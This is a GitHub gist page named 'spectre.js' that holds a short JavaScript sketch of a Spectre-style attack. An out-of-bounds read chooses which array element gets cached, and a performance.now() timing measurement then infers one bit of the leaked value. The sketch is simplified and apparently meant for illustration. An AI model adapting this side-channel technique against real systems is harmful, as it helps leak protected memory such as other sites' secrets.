Skip to content

Instantly share code, notes, and snippets.

@kunigami

kunigami/spectre.js

Last active Apr 20, 2020
Embed
What would you like to do?
if (bigvalue < a.length) {
value = a[bigvalue];
if (value & 1 > 0) {
x = a[100];
} else {
x = a[200];
}
}
// Timing attack
const t1 = performance.now();
const y1 = a[100];
const duration1 = performance.now() - t1;
const t2 = performance.now();
const y2 = a[200];
const duration2 = performance.now() - t2;
if (duration1 * 10 < duration2) {
// a[100] is cached, value & 1 = 1
} else if (duration2 * 10 < duration1) {
// a[200] is cached, value & 1 = 0
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.